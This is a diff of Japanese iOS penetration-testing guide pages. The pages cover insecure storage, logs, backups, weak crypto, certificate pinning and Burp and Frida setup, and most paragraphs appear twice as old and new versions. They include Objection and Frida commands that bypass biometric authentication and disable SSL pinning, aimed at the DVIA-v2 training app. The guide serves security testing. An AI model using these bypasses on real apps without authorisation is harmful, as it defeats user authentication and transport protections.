デフォルトでは、NSURLSessionは**Cache.db**データベースに**HTTPリクエストとレスポンス**などのデータを保存します。このデータベースには、トークン、ユーザー名、またはその他の**機密情報**がキャッシュされている場合、**機密データ**が含まれる可能性があります。キャッシュされた情報を見つけるには、アプリのデータディレクトリ（`/var/mobile/Containers/Data/Application/<UUID>`）を開き、`/Library/Caches/<Bundle Identifier>`に移動します。**WebKitキャッシュもCache.db**ファイルに保存されています。**Objection**は、`sqlite connect Cache.db`コマンドを使用してデータベースを開き、操作できます。これは**通常のSQLiteデータベース**です。
このデータのキャッシングを**無効にすることを推奨**します。リクエストやレスポンスに機密情報が含まれている可能性があるためです。以下のリストは、これを達成するためのさまざまな方法を示しています。
@ -533,19 +522,19 @@ iOSは各アプリのフォルダ内の**`Library/Cookies/cookies.binarycookies`
[Appleのドキュメント](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
`エフェメラルセッション構成オブジェクトは、デフォルトのセッション構成（デフォルトを参照）に似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはセッション関連データをディスクに保存しません。代わりに、セッション関連データはRAMに保存されます。エフェメラルセッションがディスクにデータを書き込むのは、URLの内容をファイルに書き込むように指示したときだけです。`
`一時的なセッション構成オブジェクトは、デフォルトのセッション構成（デフォルトを参照）に似ていますが、対応するセッションオブジェクトはキャッシュ、資格情報ストア、またはセッション関連データをディスクに保存しません。代わりに、セッション関連データはRAMに保存されます。一時的なセッションがディスクにデータを書き込むのは、URLの内容をファイルに書き込むように指示したときだけです。`
3. キャッシュポリシーを[.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed)に設定することでもキャッシュを無効にできます。これにより、メモリまたはディスクのいずれかにキャッシュを保存することが無効になります。
### スナップショット
ホームボタンを押すたびに、iOSは**現在の画面のスナップショット**を取得し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、**機密** **データ**が現在の画面に存在する場合、それは**画像**に**保存**されます（これは**再起動**を**越えて****持続**します）。これらは、アプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
ホームボタンを押すと、iOSは**現在の画面のスナップショットを取得**し、アプリケーションへの移行をよりスムーズに行えるようにします。しかし、**機密** **データ**が現在の画面に存在する場合、それは**画像**に**保存**されます（これは**再起動**を**超えて持続**します）。これらは、アプリ間を切り替えるためにホーム画面をダブルタップすることでアクセスできるスナップショットです。
iPhoneが脱獄されていない限り、**攻撃者**はこれらのスクリーンショットを見るために**デバイス**に**アクセス**する必要があります。デフォルトでは、最後のスナップショットはアプリケーションのサンドボックス内の`Library/Caches/Snapshots/`または`Library/SplashBoard/Snapshots`フォルダーに保存されます（信頼されたコンピュータはiOS 7.0以降、ファイルシステムにアクセスできません）。
この悪影響を防ぐ一つの方法は、`ApplicationDidEnterBackground()`関数を使用してスナップショットを取得する前に、空白の画面を表示するか、機密データを削除することです。
以下は、デフォルトのスクリーンショットを設定するサンプルの修正方法です。
以下は、デフォルトのスクリーンショットを設定するサンプル修正方法です。
Swift:
```swift
@ -577,7 +566,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
[self.backgroundImage removeFromSuperview];
}
```
この設定は、アプリケーションがバックグラウンドに入るときに `overlayImage.png` を背景画像として設定します。これにより、`overlayImage.png` が常に現在のビューを上書きするため、機密データの漏洩を防ぎます。
これは、アプリケーションがバックグラウンドに入るときに `overlayImage.png` を背景画像として設定します。これにより、`overlayImage.png` が常に現在のビューを上書きするため、機密データの漏洩を防ぎます。
### Keychain
@ -585,7 +574,7 @@ iOSキーチェーンにアクセスし管理するためのツールとして
#### **資格情報の保存**
**NSURLCredential** クラスは、NSUserDefaultsや他のラッパーをバイパスして、機密情報を直接キーチェーンに保存するのに最適です。ログイン後に資格情報を保存するために、次のSwiftコードが使用されます：
**NSURLCredential** クラスは、NSUserDefaultsや他のラッパーをバイパスして、機密情報を直接キーチェーンに保存するのに最適です。ログイン後に資格情報を保存するために、以下のSwiftコードが使用されます：
```swift
NSURLCredential *credential;
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
@ -595,7 +584,7 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
## **カスタムキーボードとキーボードキャッシュ**
iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは **設定 > 一般 > キーボード > キーボード** で管理できます。これらのキーボードは機能が拡張されますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ユーザーにはネットワークアクセスを必要とするキーボードについて通知されます。アプリは、機密情報の入力にカスタムキーボードの使用を制限するべきです。
iOS 8.0以降、ユーザーはカスタムキーボード拡張をインストールでき、これは **設定 > 一般 > キーボード > キーボード** で管理できます。これらのキーボードは機能を拡張しますが、キー入力のログを記録し、外部サーバーにデータを送信するリスクがあります。ただし、ユーザーにはネットワークアクセスを必要とするキーボードについて通知されます。アプリは、機密情報の入力にカスタムキーボードの使用を制限するべきです。
**セキュリティ推奨事項:**
@ -617,9 +606,9 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
```
## **ログ**
コードのデバッグには、しばしば**ロギング**が使用されます。**ログには機密情報が含まれる可能性があるため、リスクが伴います**。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリにアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分のログのみへのアクセスに制限されています**。
コードのデバッグにはしばしば**ロギング**が使用されます。**ログには機密情報が含まれる可能性があるため、リスクが伴います**。以前は、iOS 6およびそれ以前のバージョンでは、ログはすべてのアプリがアクセス可能であり、機密データの漏洩のリスクがありました。**現在、アプリケーションは自分のログのみへのアクセスに制限されています**。
これらの制限にもかかわらず、**ロック解除されたデバイスに物理的にアクセスできる攻撃者**は、デバイスをコンピュータに接続して**ログを読み取る**ことでこれを悪用することができます。アプリがアンインストールされた後でも、ログはディスク上に残ることに注意が必要です。
これらの制限にもかかわらず、**ロック解除されたデバイスに物理的にアクセスできる攻撃者**は、デバイスをコンピュータに接続して**ログを読み取る**ことでこれを悪用することができます。アプリがアンインストールされた後でも、ログはディスクに残ることに注意が必要です。
リスクを軽減するために、**アプリと徹底的に対話し**、すべての機能や入力を探索して、機密情報が意図せずログに記録されていないことを確認することが推奨されます。
@ -632,30 +621,20 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
idevice_id --list # To find the device ID
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
```
役立ちます。さらに、**Xcode**はコンソールログを収集する方法を提供します：
役立ちます。さらに、**Xcode** はコンソールログを収集する方法を提供します：
1. Xcodeを開きます。
2. iOSデバイスを接続します。
3. **ウィンドウ** -> **デバイスとシミュレーター**に移動します。
4. デバイスを選択します。
5. 調査している問題を引き起こします。
5. 調査している問題をトリガーします。
6. **コンソールを開く**ボタンを使用して、新しいウィンドウでログを表示します。
より高度なログ記録のために、デバイスシェルに接続し、**socat**を使用することでリアルタイムのログ監視が可能です：
```bash
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
```
ログ活動を観察するためのコマンドに続いており、これは問題の診断やログ内の潜在的なデータ漏洩の特定に非常に貴重です。
---
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得：
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
ログ活動を観察するためのコマンドに続いて、これは問題の診断やログ内の潜在的なデータ漏洩を特定するのに非常に貴重です。
## バックアップ
@ -663,17 +642,17 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
### セキュリティリスク
バックアップに**インストールされたアプリとそのデータ**が含まれることは、潜在的な**データ漏洩**の問題を引き起こし、**バックアップの変更がアプリの機能に影響を与えるリスク**をもたらします。これらのリスクを軽減するために、**アプリのディレクトリやそのサブディレクトリ内に機密情報をプレーンテキストで保存しない**ことが推奨されます。
バックアップに**インストールされたアプリとそのデータ**が含まれることは、潜在的な**データ漏洩**の問題を引き起こし、**バックアップの変更がアプリの機能に影響を与えるリスク**をもたらします。これらのリスクを軽減するために、**機密情報をプレーンテキストで**アプリのディレクトリやそのサブディレクトリに保存しないことが推奨されます。
### バックアップからのファイルの除外
`Documents/`および`Library/Application Support/`内のファイルはデフォルトでバックアップされます。開発者は、`NSURL setResourceValue:forKey:error:`を使用して特定のファイルやディレクトリをバックアップから除外することができます。これは、機密データがバックアップに含まれないように保護するために重要です。
`Documents/`および`Library/Application Support/`内のファイルはデフォルトでバックアップされます。開発者は、`NSURL setResourceValue:forKey:error:`を使用して特定のファイルやディレクトリをバックアップから除外することができます。この実践は、機密データがバックアップに含まれないように保護するために重要です。
### 脆弱性のテスト
アプリのバックアップセキュリティを評価するには、まず**バックアップを作成**し、次に[Appleの公式ドキュメント](https://support.apple.com/en-us/HT204215)のガイダンスを使用してそれを見つけます。バックアップ内の機密データやアプリの動作に影響を与える可能性のある設定を分析します。
アプリのバックアップセキュリティを評価するには、まず**バックアップを作成**し、次に[Appleの公式ドキュメント](https://support.apple.com/en-us/HT204215)のガイダンスに従ってそれを見つけます。バックアップを分析して、アプリの動作に影響を与える可能性のある機密データや設定が変更される可能性があるかを確認します。
機密情報は、コマンドラインツールや[ iMazing](https://imazing.com)のようなアプリケーションを使用して探し出すことができます。暗号化されたバックアップの場合、バックアップのルートにある"Manifest.plist"ファイル内の"IsEncrypted"キーを確認することで、暗号化の存在を確認できます。
機密情報は、コマンドラインツールや[ iMazing](https://imazing.com)のようなアプリケーションを使用して探し出すことができます。暗号化されたバックアップの場合、バックアップのルートにある"Manifest.plist"ファイルの"IsEncrypted"キーを確認することで、暗号化の存在を確認できます。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -708,7 +687,7 @@ $ strings memory > strings.txt
# Extracting strings using rabin2
$ rabin2 -ZZ memory > strings.txt
```
より詳細な分析、特定のデータタイプやパターンの検索を含むために、**radare2**は広範な検索機能を提供します：
より詳細な分析、特定のデータタイプやパターンの検索を含む、**radare2**は広範な検索機能を提供します：
```bash
$ r2 <name_of_your_dump_file>
[0x00000000]> /?
@ -721,36 +700,36 @@ $ r2 <name_of_your_dump_file>
$ r2 frida://usb//<name_of_your_app>
[0x00000000]> /\ <search_command>
```
## Broken Cryptography
## ブロークン暗号技術
### Poor Key Management Processes
### 不適切なキー管理プロセス
一部の開発者は、機密データをローカルストレージに保存し、コード内にハードコーディングされた/予測可能なキーで暗号化します。これは行うべきではなく、リバースエンジニアリングにより攻撃者が機密情報を抽出できる可能性があります。
### Use of Insecure and/or Deprecated Algorithms
### 安全でないおよび/または非推奨のアルゴリズムの使用
開発者は、**deprecated algorithms**を使用して認証**checks**を行ったり、**store**または**send**データを送信したりすべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、**hashes**を使用してパスワードを保存する場合、ソルトを使用したハッシュのブルートフォース**resistant**が必要です。
開発者は、認証チェック、データの保存または送信を行うために**非推奨のアルゴリズム**を使用すべきではありません。これらのアルゴリズムには、RC4、MD4、MD5、SHA1などがあります。例えば、パスワードを保存するために**ハッシュ**を使用する場合、ソルトを使用したハッシュのブルートフォース**耐性**が必要です。
### Check
### チェック
主なチェックは、コード内に**hardcoded**パスワード/秘密が見つかるかどうか、またそれらが**predictable**であるかどうか、そしてコードが何らかの**weak** **cryptography**アルゴリズムを使用しているかどうかを確認することです。
主なチェックは、コード内に**ハードコーディングされた**パスワード/秘密が見つかるか、またはそれらが**予測可能**であるか、コードが何らかの**弱い****暗号技術**アルゴリズムを使用しているかを確認することです。
興味深いことに、**objection**を使用して、いくつかの**crypto** **libraries**を自動的に**monitor**することができます。
自動的にいくつかの**暗号**ライブラリを**モニタリング**できることを知っておくと興味深いです。**objection**を使用して:
```swift
ios monitor crypt
```
**iOSの暗号APIとライブラリに関する詳細情報**については、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)にアクセスしてください。
**iOSの暗号化APIとライブラリに関する**詳細は、[https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)を参照してください。
## ローカル認証
**ローカル認証**は、特に暗号化手法を通じてリモートエンドポイントへのアクセスを保護する際に重要な役割を果たします。ここでの本質は、適切に実装されていない場合、ローカル認証メカニズムは回避される可能性があるということです。
**ローカル認証**は、特に暗号化手法を通じてリモートエンドポイントへのアクセスを保護する際に重要な役割を果たします。ここでの本質は、適切に実装されていない場合、ローカル認証メカニズムが回避される可能性があるということです。
Appleの[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)と[**キーチェーン**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)は、ユーザー認証ダイアログを促進し、秘密データを安全に扱うための堅牢なAPIを提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。
Appleの[**ローカル認証フレームワーク**](https://developer.apple.com/documentation/localauthentication)と[**キーチェーン**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)は、ユーザー認証ダイアログを促進し、秘密データを安全に処理するための堅牢なAPIを提供します。セキュアエンクレーブはTouch IDの指紋IDを保護し、Face IDは生体データを損なうことなく顔認識に依存します。
Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢があります：
- **`LocalAuthentication.framework`**：生体データへのアクセスなしで高レベルのユーザー認証を行います。
- **`Security.framework`**：低レベルのキーチェーンサービスへのアクセスを提供し、生体認証で秘密データを保護します。さまざまな[オープンソースラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)がキーチェーンアクセスを簡素化します。
- **`Security.framework`**：生体認証を使用して秘密データを保護するための低レベルのキーチェーンサービスへのアクセスを提供します。さまざまな[オープンソースラッパー](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)により、キーチェーンアクセスが簡素化されています。
> [!CAUTION]
> ただし、`LocalAuthentication.framework`と`Security.framework`の両方には脆弱性があり、主に認証プロセスのためにデータを送信せずにブール値を返すため、バイパスされる可能性があります（参照：[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM)）。
@ -766,11 +745,11 @@ Touch ID/Face IDを統合するために、開発者は2つのAPIの選択肢が
### キーチェーンを使用したローカル認証
iOSアプリで**ローカル認証**を実装するには、**キーチェーンAPI**を使用して認証トークンなどの秘密データを安全に保存します。このプロセスにより、データはユーザーがデバイスのパスコードまたはTouch IDなどの生体認証を使用してのみアクセスできるようになります。
iOSアプリで**ローカル認証**を実装するには、**キーチェーンAPI**を使用して認証トークンなどの秘密データを安全に保存します。このプロセスにより、データはユーザーのデバイスのパスコードまたはTouch IDなどの生体認証を使用してのみアクセス可能になります。
キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードで成功裏に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。
キーチェーンは、`SecAccessControl`属性を持つアイテムを設定する機能を提供し、ユーザーがTouch IDまたはデバイスのパスコードを介して成功裏に認証するまでアイテムへのアクセスを制限します。この機能はセキュリティを強化するために重要です。
以下は、SwiftとObjective-Cでのコード例で、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示しています。例は、Touch ID認証を要求するアクセス制御を設定し、データが設定されたデバイスでのみアクセス可能であることを保証する方法を具体的に示しています。
以下は、SwiftとObjective-Cでのコード例で、これらのセキュリティ機能を活用してキーチェーンに文字列を保存および取得する方法を示しています。例は、Touch ID認証を要求するためのアクセス制御を設定し、データが設定されたデバイスでのみアクセス可能であることを保証する方法を具体的に示しています。
{{#tabs}}
{{#tab name="Swift"}}
@ -912,7 +891,7 @@ $ otool -L <AppName>.app/<AppName>
#### **Objection**
[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある**Objection Biometrics Bypass**を通じて、**LocalAuthentication**メカニズムを克服するための技術が利用可能です。このアプローチの核心は、**Frida**を利用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すようにすることです。これは、欠陥のある生体認証プロセスを回避するのに特に役立ちます。
[このGitHubページ](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)にある**Objection Biometrics Bypass**を通じて、**LocalAuthentication**メカニズムを克服するための技術が利用可能です。このアプローチの核心は、**Frida**を利用して`evaluatePolicy`関数を操作し、実際の認証成功に関係なく常に`True`の結果を返すことを保証することです。これは、欠陥のある生体認証プロセスを回避するのに特に便利です。
このバイパスを有効にするために、次のコマンドが使用されます：
```bash
@ -923,11 +902,11 @@ $ otool -L <AppName>.app/<AppName>
(agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete
```
このコマンドは、Objectionがタスクを登録し、`evaluatePolicy`チェックの結果を`True`に実質的に変更するシーケンスを開始します。
このコマンドは、Objectionが`evaluatePolicy`チェックの結果を`True`に実質的に変更するタスクを登録する一連のプロセスを開始します。
#### Frida
**`evaluatePolicy`**の使用例は、[DVIA-v2 application](https://github.com/prateek147/DVIA-v2)からです：
[DVIA-v2アプリケーション](https://github.com/prateek147/DVIA-v2)からの**`evaluatePolicy`**の使用例：
```swift
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
@ -979,7 +958,7 @@ return result;
console.log("Objective-C Runtime is not available!");
}
```
バイオメトリック認証をバイパスし、Fridaスクリプトを注入するには、次のコマンドを使用します：
Fridaスクリプトを注入し、生体認証をバイパスするには、次のコマンドを使用します：
```bash
frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-ios.js
```
@ -1044,7 +1023,7 @@ TLS証明書を検証する一般的な問題の一つは、証明書が**信頼
### 証明書ピンニング
アプリケーションがSSLピンニングを正しく使用している場合、アプリケーションは期待される証明書でのみ動作します。アプリケーションをテストする際に、**Burpは独自の証明書を提供するため、これが問題になる可能性があります。**\
脱獄デバイス内でこの保護を回避するために、[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。
脱獄したデバイス内でこの保護を回避するために、[**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2)をインストールするか、[**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device)をインストールできます。
また、**objectionの** `ios sslpinning disable`を使用することもできます。
@ -1052,12 +1031,12 @@ TLS証明書を検証する一般的な問題の一つは、証明書が**信頼
- **`/System/Library`**には、システムアプリケーションによって使用されるフレームワークがインストールされています。
- App Storeからユーザーがインストールしたアプリケーションは**`/User/Applications`**内にあります。
- **`/User/Library`**には、ユーザーレベルのアプリケーションによって保存されたデータが含まれています。
- **`/User/Library`**には、ユーザーのレベルのアプリケーションによって保存されたデータが含まれています。
- **`/User/Library/Notes/notes.sqlite`**にアクセスして、アプリケーション内に保存されたノートを読むことができます。
- インストールされたアプリケーションのフォルダ内（**`/User/Applications/<APP ID>/`**）には、いくつかの興味深いファイルがあります：
- **`iTunesArtwork`**：アプリによって使用されるアイコン
- **`iTunesMetadata.plist`**：App Storeで使用されるアプリの情報
- **`/Library/*`**：設定やキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に実行されたスナップショットが見つかります。
- **`/Library/*`**：設定とキャッシュが含まれています。**`/Library/Cache/Snapshots/*`**には、アプリケーションをバックグラウンドに送信する前に実行されたスナップショットが見つかります。
### ホットパッチ/強制更新
@ -1069,11 +1048,11 @@ TLS証明書を検証する一般的な問題の一つは、証明書が**信頼
**3rd party SDKs**に関する重要な課題は、その機能に対する**詳細な制御の欠如**です。開発者は、SDKを統合してそのすべての機能を受け入れるか、潜在的なセキュリティ脆弱性やプライバシーの懸念を含めて、完全にその利点を放棄するかの選択を迫られます。多くの場合、開発者はこれらのSDK内の脆弱性を自分でパッチすることができません。さらに、SDKがコミュニティ内で信頼を得るにつれて、一部はマルウェアを含む可能性があります。
サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告表示、またはユーザーエクスペリエンスの向上が含まれる場合があります。しかし、これにより、開発者はこれらのライブラリによって実行されるコードを完全に把握していない可能性があり、プライバシーやセキュリティのリスクが生じる可能性があります。サードパーティサービスと共有する情報は必要なものに制限し、機密データが露出しないようにすることが重要です。
サードパーティSDKが提供するサービスには、ユーザー行動の追跡、広告表示、またはユーザーエクスペリエンスの向上が含まれる場合があります。しかし、これにより、開発者がこれらのライブラリによって実行されるコードを完全に把握していない可能性があるため、プライバシーやセキュリティのリスクが生じます。サードパーティサービスと共有する情報は必要なものに制限し、機密データが露出しないようにすることが重要です。
サードパーティサービスの実装は通常、スタンドアロンライブラリまたは完全なSDKの2つの形態で行われます。ユーザーのプライバシーを保護するために、これらのサービスと共有されるデータは、個人を特定できる情報（PII）の開示を防ぐために**匿名化**されるべきです。
サードパーティサービスの実装は通常、スタンドアロンライブラリまたは完全なSDKの2つの形式で行われます。ユーザーのプライバシーを保護するために、これらのサービスと共有されるデータは、個人を特定できる情報（PII）の開示を防ぐために**匿名化**されるべきです。
アプリケーションが使用するライブラリを特定するために、**`otool`**コマンドを使用できます。このツールは、アプリケーションとそれが使用する各共有ライブラリに対して実行され、追加のライブラリを発見します。
アプリケーションが使用しているライブラリを特定するために、**`otool`**コマンドを使用できます。このツールは、アプリケーションとそれが使用する各共有ライブラリに対して実行され、追加のライブラリを発見します。
```bash
otool -L <application_path>
```
@ -1105,11 +1084,5 @@ otool -L <application_path>
- [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
- [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、**自動化**します。\
今すぐアクセスを取得：
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
{{#include ../../banners/hacktricks-training.md}}

36
src/mobile-pentesting/ios-pentesting/burp-configuration-for-ios.md
View File

@ -2,17 +2,9 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフロー**を簡単に構築し、**自動化**します。\
今すぐアクセスを取得：
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
## iOSデバイスへのBurp証明書のインストール
iOSデバイスでの安全なウェブトラフィック分析とSSLピンニングのために、Burp Suiteは**Burp Mobile Assistant**を通じて、または手動設定を介して利用できます。以下は両方の方法の要約ガイドです：
iOSデバイスでの安全なウェブトラフィック分析とSSLピンニングのために、Burp Suiteは**Burp Mobile Assistant**を通じて、または手動設定を介して利用できます。以下は両方の方法の要約ガイドです。
### Burp Mobile Assistantによる自動インストール
@ -20,35 +12,35 @@ iOSデバイスでの安全なウェブトラフィック分析とSSLピンニ
### 手動インストール手順
1. **プロキシ設定：** iPhoneのWi-Fi設定でBurpをプロキシとして設定します。
2. **証明書ダウンロード：** デバイスのブラウザで`http://burp`に移動して証明書をダウンロードします。
3. **証明書インストール：** ダウンロードしたプロファイルを**設定** > **一般** > **VPNとデバイス管理**からインストールし、**証明書信頼設定**でPortSwigger CAの信頼を有効にします。
1. **プロキシ設定:** まず、iPhoneのWi-Fi設定でBurpをプロキシとして設定します。
2. **証明書ダウンロード:** デバイスのブラウザで`http://burp`に移動して証明書をダウンロードします。
3. **証明書インストール:** ダウンロードしたプロファイルを**設定** > **一般** > **VPNとデバイス管理**からインストールし、**証明書信頼設定**でPortSwigger CAの信頼を有効にします。
### インターセプションプロキシの設定
この設定により、iOSデバイスとインターネット間のトラフィック分析がBurpを介して可能になり、クライアント間トラフィックをサポートするWi-Fiネットワークが必要です。利用できない場合は、usbmuxdを介したUSB接続が代替手段として機能します。PortSwiggerのチュートリアルでは、[デバイス設定](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp)および[証明書インストール](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)に関する詳細な指示が提供されています。
この設定により、iOSデバイスとインターネット間のトラフィック分析がBurpを介して可能になり、クライアント間トラフィックをサポートするWi-Fiネットワークが必要です。利用できない場合は、usbmuxdを介したUSB接続が代替手段として機能します。PortSwiggerのチュートリアルでは、[デバイス設定](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp)や[証明書インストール](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)に関する詳細な指示が提供されています。
### ジェイルブレイクデバイスのための高度な設定
ジェイルブレイクされたデバイスを持つユーザーは、SSH over USB（**iproxy**を介して）を使用してトラフィックを直接Burpを通じてルーティングする方法を提供します：
ジェイルブレイクされたデバイスを持つユーザーは、USB経由のSSH（**iproxy**を使用）を利用してトラフィックを直接Burpを通じてルーティングする方法があります：
1. **SSH接続の確立：** iproxyを使用してSSHをローカルホストに転送し、iOSデバイスからBurpを実行しているコンピュータへの接続を可能にします。
1. **SSH接続の確立:** iproxyを使用してSSHをローカルホストに転送し、iOSデバイスからBurpを実行しているコンピュータへの接続を可能にします。
```bash
iproxy 2222 22
```
2. **リモートポートフォワーディング：** iOSデバイスのポート8080をコンピュータのローカルホストに転送し、Burpのインターフェースへの直接アクセスを有効にします。
2. **リモートポートフォワーディング:** iOSデバイスのポート8080をコンピュータのローカルホストに転送し、Burpのインターフェースへの直接アクセスを有効にします。
```bash
ssh -R 8080:localhost:8080 root@localhost -p 2222
```
3. **グローバルプロキシ設定：** 最後に、iOSデバイスのWi-Fi設定を手動プロキシを使用するように構成し、すべてのウェブトラフィックをBurpを通じてルーティングします。
3. **グローバルプロキシ設定:** 最後に、iOSデバイスのWi-Fi設定を手動プロキシを使用するように設定し、すべてのウェブトラフィックをBurp経由で流します。
### フルネットワークモニタリング/スニッフィング
非HTTPデバイストラフィックのモニタリングは、すべての形式のデータトラフィックをキャプチャできるツールである**Wireshark**を使用して効率的に行うことができます。iOSデバイスの場合、リモート仮想インターフェースの作成を通じてリアルタイムトラフィックモニタリングが可能であり、このプロセスは[このStack Overflowの投稿](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)で詳述されています。開始する前に、macOSシステムに**Wireshark**をインストールする必要があります。
非HTTPデバイストラフィックのモニタリングは、すべての形式のデータトラフィックをキャプチャできるツールである**Wireshark**を使用して効率的に行うことができます。iOSデバイスの場合、リアルタイムトラフィックモニタリングはリモート仮想インターフェースの作成を通じて実現され、このプロセスは[このStack Overflowの投稿](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)で詳述されています。開始する前に、macOSシステムに**Wireshark**をインストールする必要があります。
手順は以下の主要なステップを含みます：
@ -59,7 +51,7 @@ $ rvictl -s <UDID>
Starting device <UDID> [SUCCEEDED] with interface rvi0
```
3. UDIDの特定後、**Wireshark**を開き、「rvi0」インターフェースを選択してデータキャプチャを行います。
4. 特定のIPアドレスに関連するHTTPトラフィックをキャプチャするなど、ターゲットモニタリングにはWiresharkのキャプチャフィルターを使用できます：
4. 特定のIPアドレスに関連するHTTPトラフィックをキャプチャするなど、ターゲットモニタリングのために、Wiresharkのキャプチャフィルターを使用できます：
## シミュレーターでのBurp証明書のインストール
@ -92,11 +84,5 @@ Burpをプロキシとして設定する手順：
- _**Ok**_ をクリックし、次に _**Apply**_ をクリックします
<figure><img src="../../images/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築し、**自動化**します。\
今すぐアクセスを取得：
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
{{#include ../../banners/hacktricks-training.md}}

42
src/mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md
View File

@ -2,39 +2,34 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**モバイルセキュリティ**の専門知識を深めるために、8kSecアカデミーで学びましょう。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう：
## Installing Frida
{% embed url="https://academy.8ksec.io/" %}
**JailbrokenデバイスにFridaをインストールする手順:**
